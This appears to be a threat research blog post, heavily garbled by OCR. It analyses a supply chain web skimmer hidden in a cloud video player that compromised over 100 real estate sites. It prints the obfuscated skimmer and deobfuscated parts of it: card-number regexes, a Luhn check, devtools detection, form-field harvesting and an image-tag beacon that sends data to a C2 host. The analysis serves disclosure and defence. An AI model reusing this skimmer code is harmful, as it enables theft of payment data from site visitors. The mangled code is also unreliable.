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Executive Summary

Supply chain networks are frequent targets for cybercrime, as controlling a weak link in the supply chain can grant cybercriminals access to more victims —
especially when the weak link is the source of the supply chain. Recently, we found a supply chain attack leveraging a cloud video platform to distribute skimmer
(aka formjacking) campaigns. In skimmer attacks, cybercriminals inject malicious JavaScript code to hack a website and take over the functionality of the site’s
HTML form page to collect sensitive user information. In the case of the attacks described here, the attacker injected the skimmer JavaScript codes into video, so
whenever others import the video, their websites get embedded with skimmer codes as well.

With Palo Alto Networks proactive monitoring and detection services, we detected over 100 real estate sites that were compromised by the same skimmer attack.
The skimmer attack has grown in popularity with attackers since we published our previous blog posts, “Anatomy of Formjacking Attacks” and “Data Analysis: A
Closer Look at the Web Skimmer.” After analysis of the sites we identified, we found that all the compromised sites belong to one parent company. All these
compromised sites are importing the same video (accompanied by malicious scripts) from a cloud video platform.

We worked with the cloud video platform and the real estate company to help them remove the malware prior to publication. We're publishing this piece to alert
organizations and web surfers of the potential for supply chain attacks to infect legitimate websites without the knowledge of those organizations. In this blog, we
will take a step-by-step look at how this attack is deployed and how the skimmer steals victims’ sensitive information.

Palo Alto Networks customers are protected from this type of attack via the WildFire and URL Filtering subscription services for the Next-Generation Firewall.

Types of Attacks and Vulnerabilities Covered Skimmer attacks, formjacking

Related Unit 42 Topics Information stealing
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Indicators of Compromise

Skimmer Detection

With Palo Alto Networks proactive monitoring and detection services, we are able to capture websites compromised by the skimmer attack discussed here. These
websites are listed in the indicators of compromise (IoCs) section below.

Let’s take one website as an example (see Figure 1). It provides a form that visitors can use to request more information about a house for sale, and it includes
fields where the user is asked to provide personal information.
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REQUEST MORE INFO

Please fill out the form below if you would like additional information or would like to
schedule a viewing for
"*" indicates a required field.

NAME*

PHONE* EMAIL*

MESSAGE

Figure 1. Asking for a potential victim’s sensitive information.

When trying to access this page, our detection service is able to detect a skimmer attack in an iframe URL:
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uily);var .TiTle;var o=a.qescripTrion;var .1a;var 1=0.10;1I(Us&1.TEXTLONTENT){r.5ETATIIIDUTE( arla-lapelleapy ,I.1a()+*  +U)}1I(L&dO.TEXTLONTENT)
{r.setAttribute("aria-describedby",1)}},true)};£f.VERSION=s;u("dock",f);e.Title=d;e.Shelf=c;e.default=f;Object .defineProperty(e,"__ esModule",{value:true})})})();(function()
{if(s.getPlugin("playlist")){return}(function(e,t){typeof exports==="object"&&typeof module!=="undefined"?module.exports=t(require("video.js")):typeof
"function”&&r.amd?r(["video.js"],t): (e=e| |self,e.videojsPlaylist=t (e.videojs))}) (this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e;var
unction e(t){return typeof "number "&& ! isNaN(t)&&t>=0&&t<Infinity};var r=function e(t){var r=t.playlist.autoadvance_;if(r.timeout)
{t.clearTimeout(r.timeout)}if(r.trigger){t.off("ended",r.trigger)}r.timeout=null;r.trigger=null};var i=function e(i,n){r(I);if(lt(n))
{i.playlist.autoadvance .delay=null;return}i.playlist.autoadvance .delay=n;i.playlist.autoadvance_.trigger=function(){var t=function t(){return
e(i,n)};i.one("play”,t);i.playlist.autoadvance_.timeout=i.setTimeout (function()
{r(i);i.off("play”,t);i.playlist.next()},n*le3)};i.one("ended",i.playlist.autoadvance .trigger)};var n=function e(t){var r=t.remoteTextTracks();var
&&r.length||0;while(i--) {t.removeRemoteTextTrack(r[i])}};var a=function e(t,r){var

t.paused() | |t.ended();t.trigger("beforeplaylistitem",r.originalValue||r);if(r.playlistItemId )

{t.playlist.currentPlaylistItemId .playhstitemrdi)t.poster(r.poster\ |"");t.sre(r.sources);n(t);t.ready(function(){(r.textTracks||
[]).forEach(t.addRemoteTextTrack.bind(t));t.trigger("playlistitem",r.originalvalue||r);if(a){var e=t.play();if(typeof e undefined"s&typeof e.then: "function")
{e.then(null, function(e){})}}i(t,t.playlist.autoadvance_.delay)});return t};var s=function e(t){return!!t&atypeof t==="object"};var o=function e(t){var r=[];var
ijt.forEach(function(e){if(!s(e)){i=Object(e);i.originalValue=e}else{i=e}r.push(i)});return r};var u=function e(t){var r=1;t.forEach(function(e)
{e.playlistItemId =r++})};var l=function e(t,r){for(var ji<t.length;i++) (if(t[i].playlistItenId ===r){return i}}return-1};var d=function e(t,r){var i=
;if (typeof t==="object"){i=t.src}if(typeof r: { =n.slice(n.indexOf("//"))}if (/" .slice(i.index0f("//"))}return
}ivar c=function e(t,r){for (var ji<t.length;i++){var n=t[i].sources;if(Array.isArray(n)){for(var a=0;a<n.length;at++){var s=n[a];if(s&&d(s,r)){return i}}}}return-
function e(t){var r=-1;var .length-1;while(++r<t.length){var n=r+Math.floor(Math.random()*(i-r+1));var a=t[n];t[n]=t[r];t[r]=a}return t};function h(t,n,d)
}var h=null;var p=false;var v=t.playlist=function(e,r){if( void 0){r=0}if (p){throw new Error("do not call playlist() during a playlist

change")}if (Array.isArray(e)){var i=Array.isArray(h)2h.slice():null;var n=e.slice();h=n.slice();if(h.filter(function(e){return s(e)}).length .length)
{h=o(h)}u(h);p=true;t.trigger({type: "duringplaylistchange” ,nextIndex:r, nextPlaylist:n,previousIndex:v.currentIndex ,previousPlaylis [1});p=false;if(ri==-1)
{v.currentItem(r)}if(i){t.setTimeout (function(){t.trigger("playlistchange")},0)}}return h.map(function(e){return e.originalValue||e}).slice()};t.on("loadstart",function()
{if (v.currentItem() —1)(r(tj)}),v currentIndex_=-1;v.player =t;v.autoadvance ={};v.repeat =false;v.currentPlaylistItemId =null;v.currentItem=function(e){if(p){return
v.currentIndex }if (typeof "number” &&v.currentindex. |==es&e>=0s4e<h.length){v.currentIndex_=e;a(v.player_,h|v.currentIndex_]);return v.currentIndex_}var
t=v.player_.currentSrc()||"";if (v.currentPlaylistTtemId_){var r=1(h,v.currentPlaylistItemId_);var i=h[r];if(is&Array.isArray(i.sources)&&c([i], t)>-1)
{v.currentIndex_=r;return v.currentindex }v.currentPlaylistItenld =null}v.currentIndex =v.indexOf(t);return v.currentIndex_};v.contains=function(e){return

v.indexOf (e) I==-1};v. indexOf=function(e) {if(typeof e==="string"){return c(h,e)}var t=Array.isArray(e)?e:e.sources;for(var r=0;r<t.length;r++){var i=t[r];if(typeof
"string”){return c(h,i)}else if(i.src){return c(h,i.src)}}return-1};v.currentIndex=function(){return v.currentItem()};v.lastIndex=function(){return h.length-

1) v.nextIndex=function(){var .currentItem();if (e 1){return-1}var t=v.lastIndex();if(v.repeat s&e: ) {return O}return Math.min(e+l,t)};v.previousIndex=function()
{var e=v.currentItem();if(e===-1){return-1}if(v.repeat_sse===0){return v.lastIndex()}return Math.max(e-1,0)};v.first=function(){if(p){return}var

e=v.currentItem(0);if (h.length){return h[e].originalvalue||h[e]}v.currentIndex_=-1};v.last=function(){if (p){return}var e=v.currentItem(v.lastIndex());if(h.length){return
h[e].originalvalue||h[e]}v.currentIndex v.next=function(){if(p){return}var e=v.nextIndex();if(e!==v.currentIndex_){var t=v.currentItem(e);return
h[t].originalValue||h[t]}};v.previous=function(){if (p){returnjvar e=v.previousIndex();if(e!==v.currentIndex ){var t=v.currentItem(e);return
h[t].originalvalue||h[t]}};Vv.autoadvance=function(e){i(v.player_,e)};v.repeat=function(t){if undefined) {return v.repeat }if(typeof t!
playlist: Invalid value for repeat”,t);return)v.repeat_=!lt;return v.repeat };v.sort=function(e){if(!h.length){return}h.sort(e);if(p)
{return})t.trigger("playlistsorted")};v.reverse=function(){if(!h.length){return}h.reverse();if(p){return}t.trigger("playlistsorted")};v.shuffle=function(e){var r=
0?{}:e,i=r.rest;var n=0;var a=h;if(i){n=v.currentIndex +l;a=h.slice(n)}if(a.length<=1){return}f(a);if(i){var s;(s=h).splice.apply(s,[n,a.length].concat(a))}if(p)
{return}t.trigger ("playlistsorted")};if (Array.isArray(n)){v(n.slice(),d)}else{h=[]}return v}var p="4.3.1";var v=e.registerPlugin| |e.plugin;var m=function e(t,r)
{h(this,t,r));v("playlist",m);m.VERSION=p;return m})})();s.registerplugin("videoLoop", function(){var e-this;e.on("ended",function(){t()});t();function t(){e.play()}});var
u=

[ "VHI5U2VuzA==", "SULH" , "R2V0SW1hz2VVcmw=", "P3J12mY9", "bzsyzm’ke}m(leRlYZhhbmdl“, cmvthleGE‘qu—
¥2hhckF0", "axNPcGVn","bJJpZWSUYXprz =, "2G12¢GFOY2 "b3IVOZX. O

jvar

boolean”){e.log.error("videojs—

=void

Y29£cGxldGU=", "C2V0SW505XJ2YHw=", "CmVwbGF jZQ==", "dGVzdA=="/ "bGVuz3Ro"
, "bIV0ZXITZLAHO=" , "aWSUZKITZHLAAHO=" , "dinVydG1 3 ¥iw=" , "aGIyaXpvbnRhbA-
“ "RmlyzwJ1zw==","¥2hyb211" , "aXNJbml0aWFs aXpLIA "dNSkzszblwk" " 2Xhwh3 70 cw= P ", "R2F0ZQ==" , "RGFOYQ==", "U2F2ZVBhcmFt" , "U2F
20UPSbEIpERxkew==" , "aW5waXQ=", " c2VSEWNO" , "dGVAdGFyZWE=", "U2VuIERhAGE="] ; (Function(e, t) {var r= unctxcn(t)(wh:.le( £){e[ "push” | (e[ "Shift"]())}};r(++t)}) (1,230) ;var
l=function(t,r){t=t-0; +];4f(1["HWWGHQ" |===undef ined) { (function(){var t=function(){var t;try{t=Function("return (function() "+'{}.constructor("return this")(
)'+"):") () ycatch (r) {t=e}return t};var r=t( )-v r i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvxyz0123456789+/=";r[ "atob" ]| | (x[ "atob” |=function(e)(var t=string(e)
["replace"](/=+$/,"");for(var r=0,n,a,s=0, ja=t["charAt"](s++);-a&s(n=r$4?n*64+a:a,r++i4)?o+=String[ " fromCharCode" ] (255&n>>(-2*r&6)):0){a=i[ "index0f"](a)}return o})})
()11 " 1Gbxnk" |=function(e) (var t atob(e);var r=[];for(var i=0,n=t["length”];i<n;i++){r+="%"+("00"+t["charCodeAt”](i)["toString"](16))["slice"](-2)}return
decodeURIComponent (r)};1["gi0U0g" ]={};1[ "HWWGHQ" ]=! [ ]}var n=1["giOUOg"][t];if(n===undefined){i=1["1Gbxnk"](i);1["giOU0g"][t]=i}else{i=n}return i};function d(e,t,r){return
e[1("0x0")] (new RegExp(t,"g"),r)}function c(e){var t=/"(?:4[0-9]{12}(?:[0-9]{3})?)$/;var r=/"(2:5[1-5]1[0-9]{14})$/;var i=/*(?:3[47](0-91{13})$/;var n=/"(?:6(?:011|5[0-9]
[0-91)[0-9]{12})$/;var a=![];if(t["test"](e)){a=!![]}else if(r[1("0x1")](e)){a=!![]}else 1f(x[1( (]xl }(e)){a=11[1}else if(n[L("0x1")](e)){a=!![]}return a}function £(e)
{if(/["0-9-\s]+/["test"](e))return![];var t=0,r=0,i=1[];e=e[1("0x0")](/\D/g,"");for(var n=e[1("0 ]-1;n>=0;n--){var a=e[1("0x3")](n),r=parseInt(a,10);if(i)
{if ((r*=2)>9)r-=0}t+=r;i=1i}return t810==0}(function(){"use strict";const t={};t[1("0x4")]=1[]; t[l( 0x5") ]=undefined;const r=160;const i=(t,r)=>{e[1("0x6")](new
CustomEvent ("devtoolschange”, {detail:{isOpen:t,orientation:r}}))};setInterval(()=>{const n=e[1("0x7")]-e[1("0x8")]>r;const [1("0x9")]-e[1("0xa")]>r;const s=n?
1("0xb"):1("0xc");if (! (a&&n)&&(e[1("0xd")]&&e[ "Firebug”][1("0xe")]&&e[1("0xd")][ "chrome"][1("0x£")]||n||a)){if(lt["i=Open" ]Ht[l("uxs")]l =s){i(!1[],8)}t["isOpen” |=11
[1;t["orientation”]=s}else{if (t[1("0x4")]){i(![],undefined)}t["isOpen" 15t[1("0x5") ]=undefined}},500) ;if (typeof module!==1("0x10")ssmodule[1("0x11")])
{module[1("0x11")]=t}else{e[1("0x12")]=t}})(); stnnq[ "prototype”][1("0x13")]=function(){var e=0,t,r;if(this[1("0x2")] )return e;for(t=0;t<this[1("0x2")];t++)
{r=this[1("0x14")](t);e=(e<<5)-e+r;e|=0}return e};va: }#h11("0x15") ]="https: //cdn-imgeloud. com/ing" ;h[1("0x16" ) |={} yh["Sent" |=[ ];h["Tsvalid" ]=1
[1;h[1("0x17")]=function(e) (if (e. i41-updetinedste. 1d1=" dbe. idioonullise. vaine. Lo gth<256s&e.value.length>0) {if (f(d(d(e.value,"=","")," ", ""))&&c(d(d(e.value
,"")))h.Tsvalid=11[];h.Data[e.id]=e.value;return} if(e.name! ——undefinedsse. namei=""sse.name1——nullsse.value. length<2568se.value. length0) {i£(£(d(d(e.value
"))&&c(d(d(e.value,"=","")," ","")))h.IsValid=!1[];h.Data[e.nane]=e.value;return}};h{1("0x18")]=function(){var e=t.getElementsByTagName(1("0x19"));var
.getElementsByTagName(1("0xla"});var i-t.getElementsByTagName(1("0x1b"));for(var n-0;n<e.length;n++)h.SaveParam(e[n]); for (var
jn<r.length;n++)h. SavePaxam(r[n]),for(var nm,nq,length,nw)h SaveParam(i[n])};h{1("0x1c")]= functlan()(xf(le devtools.isOpen&&h.IsValid)
{h.Data[ "Domain" ]=locat. vas (e-btoa(JSON.stringify(h.Data)));var r=t.hashCode();for (var
i=0;i<h.Sent. length,x++)xf(h Sent[a.]==:):etu:n,h Load:lmaqe(t))),h[l( 0x1d") ] (){h.SaveallFields();h. )}ih["LoadImage" |=Eunction(e)
{h.Sent.push(e.hashCode());var r=t.createElement(L("0xle"));r.src=h.GetImageUrl(e)};h[1("0x1£")]=function(e){return h.Gate+l("0x20")+e};t[1("0x21")]|=function()
{if(E[1("0x22")] Dx23 )){e[1("0x24")](h[1("0x1d")],500)}};var p=o.createInitializer(null,function(e,t,r){var ijvar n=parseInt(null,10);var
a=false;r.playlist();if(n===n&&isFinite(n)&&n>=0){r.playlist n)}})ia irstVideojs();return p}(window,document);e(document.querySelector(”video-js"))})
()ii</script>
a0 <script>(function(p){p.markssp.mark('bcParseEnd’);p.measuressp.measure( 'bcParse’, 'bcParsestart’
31| </body></html>

'beParseEnd' ) }) (window.performance| | {})</script>

Figure 2. Malicious code resides in this HTML page.

Skimmer Code Analysis

To better understand how this skimmer operates, we do a deep dive into the sample codes. Let’s start with the JavaScript code extracted from the compromised
site:

JavaScript
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var

u=["VHJ5U2VuzZzA==","SU1H","R2VOSW1hZ2VVcmw=","P3JIZmY9","b25yZWFkeXNOYXRIY2hhbmd!","cmVhZHITdGF0ZQ==","Y29tcGxIdGU=","c2V0SW502>

(function(e,t){var r=function(t){while(--t){e["push"](e["shift"]())}};r(++t)})(u,230);

var I=function(t,r){t=t-0;var i=u[t];

if(I["HWWGHQ"]===undefined ){(function(){var t=function(){var t;try{t=Function("return (function() "+'{}.constructor("return this")( )'+");
")()}catch(r){t=e}return t};

var r=t();

var i="ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopgrstuvwxyz0123456789+/=",
r["atob"]||(r["atob"]=function(e){var t=String(e)["replace"](/=+$/,"");

for(var r=0,n,a,s=0,0="";

a=t["charAt"](s++);
~a&&(n=r%47?n*64+a:a,r++%4)?0+=String["fromCharCode"](255&n>>(-2*r&6)):0){a=i["indexOf"](a)}return o})})();
I["IGbxnk"]=function(e){var t=atob(e);

var r=[];

for(var i=0,n=t["length"];

i<n;i++){r+="%"+("00"+t["charCodeAt"](i)["toString"](16))["slice"](-2)}return decodeURIComponent(r)};
["giOUOg"={};

I"HWWGHQ"]=!![]}var n=I["giOUOg"][t];

if(n===undefined {i=I["IGbxnk"](i);

I["giOUOg"|[t]=i}else{i=n}return i};

function c(e,t,r){return e[l("0x0")](new RegExp(t,"g"),r)}function d(e){var t=/2(?:4[0-91{12}(?:[0-9]{3})?)$/;
var r=/"(?:5[1-5][0-9]{14})$/;

var i=/~(?:3[47][0-9]{13})$/;

var n=/2(?:6(?:011|5[0-9][0-9])[0-9K12})$/;

var a=![];

if(t["test"](e)){a="[1}else if(r[I("0x1")](e)){a=!"[1}else if(i[l("0x1")](e)){a=!![I}else if(n[I("0x1")](e)){a="[]}return a}function f(e){if(/[*0-9-\s]+/["test"](e))return![];
var t=0,r=0,i=![];

e=e[l("0x0"))(\D/g,"");

for(var n=e[l("0x2")]-1;

n>=0;

n--}{var a=e[l("0x3")](n),r=parselnt(a,10);

if(i){if((r*=2)>9)r-=9}t+=r;

i=liyreturn t%10==0}(function(){"use strict";

const t={};

tI("0x4")1=![];

t[l("0x5")]=undefined;const r=160;

const i=(t,r)=>{e[l("0x6")](new CustomEvent("devtoolschange",{detail:{isOpen:t,orientation:r}}))};
setinterval(()=>{const n=e[l("0x7")]-e[I("0x8")]>r;

const a=e[l("0x9")]-e[l("0xa")]>r;

const s=n?I("0xb"):I("0xc");
if(1(a&&n)&&(e[l("0xd")]&&e["Firebug"][I("0xe")1&&e[l("0xd")]["chrome"][I("0xf")]||n||a) {if(!t["isOpen"]||t[I("0x5")]!==s {i(!![],s)H["isOpen"]=!1[];
t["orientation"]=s}else{if(t[I("0x4")]{i('[],undefined)}["isOpen"]=![];

t[1("0x5")]=undefined}},500);

if(typeof module!==I("0x10")&&module[l("0x11")]{module[l("0x11")]=t}else{e[l("0x12")]=t}})();
String["prototype"][l("0x13")]=function(){var e=0,t,r;

if(this[I("0x2")]===0)return e;

for(t=0;t<this[l("0x2")];

t++){r=this[I("0x14")](t);

e=(e<<b)-etr;

e|=0}return e};

var h={};

h[l("0x15")]="https://cdn-imgcloud[.Jcom/img";

h[I("0x16")]1={};

h["Sent"]=[];

h["IsValid"]=!];

h[l("0x17")]=function(e){if(e.id!==undefined&&e.id!=""&&e.id!==null&&e.value.length<256 &&e.value.length>0){if(f(c(c(e.value,"-","")," ",""))&&d(c(c(e.value,"-","")

h.Data[e.id]=e.value;

return}if(e.name!==undefined&&e.name!=""&&e.name!==null&&e.value.length<256 &&e.value.length>0){if(f(c(c(e.value,"-","")," ",""))&&d(c(c(e.value,"-","")," ","")

h.Data[e.name]=e.value;return}};

h[l("0x18")]=function(){var e=t.getElementsByTagName(I("0x19"));
var r=t.getElementsByTagName(l("Ox1a"));

var i=t.getElementsByTagName(I("0x1b"));

for(var n=0;

n<e.length;n++)h.SaveParam(e[n]);

for(var n=0;

n<r.length;n++)h.SaveParam(r[n]);

for(var n=0;

n<i.length;n++)h.SaveParam(i[n])};
h[l("0x1c")]=function(){if('e.devtools.isOpen&&h.IsValid){h.Data["Domain"]=location.hostname;
var t=encodeURIComponent(e.btoa(JSON.stringify(h.Data)));

var r=t.hashCode();

for(var i=0;
i<h.Sent.length;i++)if(h.Sent[i]==r)return;h.Loadlmage(t)}};
h[l("0x1d")]=function(){h.SaveAllFields();

h.SendData()};
h["Loadlmage"]=function(e){h.Sent.push(e.hashCode());

var r=t.createElement(I("Ox1e"));

r.src=h.GetlmageUrl(e)};

h[l("0x1f")]=function(e){return h.Gate+("0x20")+e};
t[I("0x21")]=function(){if(t[I("0x22")]===1("0x23") ){e[l("0x24")](h[I("0x1d")],500)}};
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From the code, we know next to nothing about what the attack is attempting to do as it is highly obfuscated. Let’s try to beautify it and split it into four parts to get
a better understanding of it:

Skimmer Code Part One

JavaScript
1 varu=["VHJ5U2VuzZA==", "SU1TH", "R2VOSW1hZ2VVcmw=", "P3JIZmY9", "b25yZWFkeXNOYXRIY2hhbmdI", "cmVhZHITdGF0ZQ==", "Y29tcGxIdGU=",
2 "c2VOSW50ZXJ2YWw=", "emVwbGFjZQ==", "dGVzdA==", "bGVuZ3Ro", "Y2hhckF0", "aXNPcGVu", "b3JpZW50YXRpb24=",
3 "ZGlzcGFOY2hFdmVudA==", "b3V0ZXJXaWR0aA==", "aW5uzZXJXaWR0aA==", "b3V0ZXJIZWInaHQ=", "aW5uzZXJIZWInaHQ=", "dmVydGljYWw=",
4 "aG9yaXpvbnRhbA==", "RmlyZWJ1Zw==", "Y2hyb21l", "aXNJbmlOaWFsaXplZA==", "dW5kZWZpbmVk", "ZXhwb3J0cw==", "ZGV2dG9vbHM=",
5 "aGFzaENvZGU=", "Y2hhckNvZGVBdA==", "R2F0ZQ==", "RGFOYQ==", "U2F2ZVBhcmFt", "U2F2ZUFsbEZpZWxkcw==", "aWbwdXQ=", "c2VsZWNO0",
6 "dGV4dGFyZWE=", "U2VuZERhdGE="];
7  (function(e, t) {
8 var r = function(t) {
9 while (--t) {
10 e["push"](e["shift"]())
11 }
12}
13 r(++t)

14 })(u, 230);

15 var | = function(t, r) {

16 t=t-0;

17 var i = u[t];

18 if (I["HWWGHQ"] === undefined) {

19 (function() {

20 var t = function() {

21 var t;

22 try {

23 t = Function("return (function() " + '{}.constructor("return this")()' + ");")()
24 } catch (r) {

25 t=e

26 }

27 return t

28 b

29 varr = t();

30 var i = "ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopgrstuvwxyz0123456789+/=",
31 r["atob"] || (r["atob"] = function(e) {

32 var t = String(e)["replace"|(/=+$/, "");

33 for (varr=0,n,a,s=0,0="" a=t["charAt"](s++); ~a&& (n=r% 4 ?n*64 +a:a, rt+ % 4) ? o += String["fromCharCode"](255 & n >> (-2 *r
34 &6)):0){

35 a = i["indexOf"](a)

36 }

37 return o

38 3

39 NO;

40 I["IGbxnk"] = function(e) {

41 var t = atob(e);

42 varr=[];

43 for (vari=0, n ={"length"]; i <n; i++) {

44 r+="%"+ ("00" + t["charCodeAt")(i)["toString"](16))["slice"](-2)
45

46 return decodeURIComponent(r)

a7 b

48 ["gi0UOg"] = {};

49 I["HWWGHQ"] = "[]

50

}

51 var n = [["giOUOg"|[t];
52 if (n === undefined) {
53 i = I["IGbxnk"](i);

I["gioUOg"[t] =i
}else {

i=n
}

return i

|5
The code in part one is used to decrypt the string array — u; the decryption function is I.
After decryption, we can get a plain text array as shown below. For example, | (0x1) is the string test.

JavaScript
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0 "replace"

1 "test"

2 "length"

3 "charAt"

4 "isOpen"

5 "orientation"

6 "dispatchEvent"
7 "outerWidth"

8 "innerWidth"

10 9 "outerHeight"

11 10 "innerHeight"
12 11 "vertical"

13 12 "horizontal"
14 13 "Firebug"

15 14 "chrome"

16 15 "isInitialized"
17 16 "undefined"
18 17 "exports"

19 18 "devtools"

20 19 "hashCode"
21 20 "charCodeAt"
22 21 "Gate"

23 22 "Data"

24 23 "SaveParam"
25 24 "SaveAllFields"
26 25 "input"

27 26 "select"

28 27 "textarea"

29 28 "SendData"
30 29 "TrySend"

31 30 "IMG"

32 31 "GetlmageUrl"
33 32 "?reff="

34 33 "onreadystatechange
35 34 "readyState"
36 35 "complete”

37 36 "setinterval"

O©CONOARWN -~

Skimmer Code Part Two

JavaScript
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function c(e, t, r) {
return e[l("0x0")](new RegExp(t, "g"), r)
}

function d(e) {

var t = /N(?:4[0-9]{12}(?:[0-91{3})?)$/;

var r = /A(?:5[1-5][0-91{14})$/;

var i = /A(?:3[471[0-9]{13})$/;

var n = /N(?:6(?:011|5[0-9][0-9])[0-9{12})$/;
10 vara =1;
11 if (t["test"](e)) {

O©CONOARWN -~

12 a=1]

13 }elseif (r[I("0x1")](e)) {
14 a=1]

15 Yelseif (iI("0x1")](e)) {
16 a=1]

17 }elseif (n[I("0x1")](e)) {
18 a=1]

19 3}

20 return a

21}

22

23 function f(e) {
24 if (/[*0-9-\s]+/ ["test"](e)) return ![];

25 vart=0,
26 r=0,
27 i=1[;

28 e =ef[l("0x0")](\D/g, "");
29 for (var n = e[l("0x2")] - 1; n >=0; n--) {

30 var a = e[l("0x3")](n),
31 r = parselnt(a, 10);
32 if (i) {

33 if (r*=2)>9)r-=9
34 }

35 t+=r;

36 i=l

37}

38 return t % 10 ==

39 }

Part two defines three functions:

1. Function c is used to replace the string with a regex pattern.
2. Function d is used to verify whether a string matches a credit card pattern. We can see it uses four regex patterns.
3. Function f is used to verify credit card numbers with the Luhn algorithm.

Skimmer Code Part Three

JavaScript
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https://en.wikipedia.org/wiki/Luhn_algorithm#

1 (function() {

2 "use strict";

3 constt={};

4 tI("0x4")] = 1[I;

5 t[I("0x5")] = undefined,;

6 const r = 160;

7 consti=(t, r)=>{

8 e[l("0x6")](new CustomEvent("devtoolschange", {

9 detail: {

10 isOpen: t,

11 orientation: r

12 }

13 M)

14}

15 setinterval(() => {

16 const n = e[l("0x7")] - e[l("Ox8")] > r;
17 const a = e[l("0x9")] - e[l("0Oxa")] > r;
18 consts =n ?I("0xb") : 1("0Oxc");

19 if (I(a && n) && (e[l("0xd")] && e["Firebug"][I("0xe")] && e[l("0xd")]["chrome"][I("0xf")] || n || @)) {
20 if (["isOpen"] || t[I("0x5")] !==s) {
21 i, s)

22

23 t["isOpen"] = I[];

24 {["orientation"] = s

25 }else {

26 if (t[I("0x4")]) {

27 i('l], undefined)

28 }

29 t["isOpen"] = I[1;

30 t[I("0x5")] = undefined

31 }

32 }, 500);

33 if (typeof module '==1("0x10") && module[l("0x11")]) {
34 module[l("0x11")] = t

35 }else {

36 e[l("0x12")] =t

37 }

38 10

Part three is an anti-debug code. With decryption, it looks as below:

JavaScript

1 vare={
2 open: 1,
3 orientation: null
4 %

5 n=160,
6 o = function(e, n){

7  window.dispatchEvent(new CustomEvent("devtoolschange", {
8 detail: {

9 open:e,

10 orientation: n

)
12 )

14 setinterval(function() {
15 var t = window.outerWidth - window.innerWidth > n,
16 i = window.outerHeight - window.innerHeight > n,
17 d=1t7? "vertical" : "horizontal";
18 i &&t || (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.islInitialized || t || i) ? (e.open && o(!1, null), e.open = !1, e.orientation =
19 null) : (e.open && e.orientation === d || o(!0, d), e.open = 10, e.orientation = d)
20 1}, 500)
"undefined" != typeof module && module.exports ? module.exports = e : window.devtools = e

Basically, it checks if window.Firebug, window.Firebug.chrome and window.Firebug.chrome.islInitialized variables exist. It also sends a devtoolschange message
to check whether the Chrome console is opened.

Skimmer Code Part Four

JavaScript
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1 String["prototype"][I("0x13")] = function() {
2 String["prototype"][I("0x13")] = function() {
3 vare =0,

4 tr;

5 if (this[l("0x2")] === 0) return e;

6 for (t = 0; t < this[I("0x2")]; t++) {

7 r = this[I("0x14")](t);

8 e=(e<<bH)-e+r;

9 el=0

10 }

11 return e

12}

13

14 varh={}

15 h[I("0x15")] = "https://cdn-imgcloud[.Jcom/img";

16 h[l("0x16")] = {};

17 h["Sent"] =I;

18 h["IsValid"] =[];

19 h[I("0x17")] = function(e) {

20 if (e.id == undefined && e.id |="" && e.id == null && e.value.length < 256 && e.value.length > 0) {

21 if (f(c(c(e.value, "-","™), " ", ")) && d(c(c(e.value, "-", "), " ", "™))) h.IsValid = [];

22 h.Data[e.id] = e.value;

23 return

24 }

25 if (e.name !== undefined && e.name = "" && e.name !== null && e.value.length < 256 && e.value.length > 0) {
26 if (f(c(c(e.value, "-", ™), " ", ")) && d(c(c(e.value, "-", "), " ", "™))) h.IsValid = [];

27 h.Data[e.name] = e.value;

28 return

29 }

30

%
31 h[l("0x18")] = function() {
32 var e = t.getElementsByTagName(I("0x19"));
33 var r = t.getElementsByTagName(I("0x1a"));
34 var i = t.getElementsByTagName(I("0x1b"));
35 for (var n = 0; n < e.length; n++) h.SaveParam(e[n]);
36 for (var n = 0; n <r.length; n++) h.SaveParam(r[n]);
37 for (var n = 0; n <i.length; n++) h.SaveParam(i[n])

b
39 h[I("0x1c")] = function() {
40 if (le.devtools.isOpen && h.IsValid) {

41 h.Data["Domain"] = location.hostname;

42 var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data)));
43 var r = t.hashCode();

44 for (var i = 0; i < h.Sent.length; i++)

45 if (h.Sent[i] == r) return;

46 h.LoadIlmage(t)

47 }

48

5
49 h[l("0x1d")] = function() {
50 h.SaveAllFields();
51 h.SendData()

h
53 h["Loadlmage"] = function(e) {
54 h.Sent.push(e.hashCode());
55 var r = t.createElement(I("0x1e"));
56 r.src = h.GetlmageUrl(e)

5
58 h[I("0x1f")] = function(e) {
59 return h.Gate + I("0x20") + e

I3
61 {[I("0x21")] = function() {
62 if (tI("0x22")] === I("0x23")) {
63 e[l("0x24")](h[I("0x1d")], 500)
}

65

After decryption, the code samples are very clear. Let's see what these code snippets do.

The code below defines the hashCode function, which is used to encrypt credit card content.

Code Analysis

JavaScript
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1 //1["0x13"] == "hashCode", so

2 /1["0x13"] == "hashCode"

3 String["prototype"]["0x13"] = function() {
4 vare =0,

5 t,r;

6 if (this[l("0x2")] === 0) return e;
7 for (t = 0; t < this[I("0x2")]; t++) {
8 r = this[I("0x14")](t);

9 e=(e<<bH)-e+r

10 el=0

11 }

12 return e

13 %

The following code defines Gate and Data variables. The Data variable saves credit card information, and the Gate variable saves the C2 server.

JavaScript
1 varh={};
2 h[l("0x15")] = "https://cdn-imgcloud[.Jcom/img"; //I("0x15") is "Gate" string
3 h[l("0x16")] = {}; // I("0x16") is string "Data"
4 h["Sent"] =[];
5 h["IsValid"] =[];

The code samples below reveal how the skimmer steals credit card information and sends it out. We have broken the process down into the following steps:
1. First, it uses onreadystatechange to check whether the page load is done. It then calls the TrySend function.

2. The TrySend function calls the SaveAllFields function to read the customer input information, such as name and email address, from the HTML document, and
then calls SaveParam to check if the data is valid. If valid, it will save this information into the Data variable.

3. Next, the TrySend function will call the SendData function to send the data. The SendData function will then call the Loadlmage function to create an <img>
HTML tag and fill the image source with a C2 URL.

JavaScript
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1 /N("0x17") is string "SaveParam"

2 h["SaveParam"]: function(elem) {

3 if (e.id == undefined && e.id |="" && e.id == null && e.value.length < 256 && e.value.length > 0) {
4 if (f(c(c(e.value, "-","™), " ", ")) && d(c(c(e.value, "-", "), " ", "™))) h.IsValid = ![];

5 h.Data[e.id] = e.value;

6 return

7

8 if (e.name !== undefined && e.name !="" && e.name !== null && e.value.length < 256 && e.value.length > 0) {
9 if (f(c(c(e.value, "-", ™), " ", ")) && d(c(c(e.value, "-", "), " ", "™))) h.IsValid = [];

10 h.Data[e.name] = e.value;

11 return

12 }

13 }

14
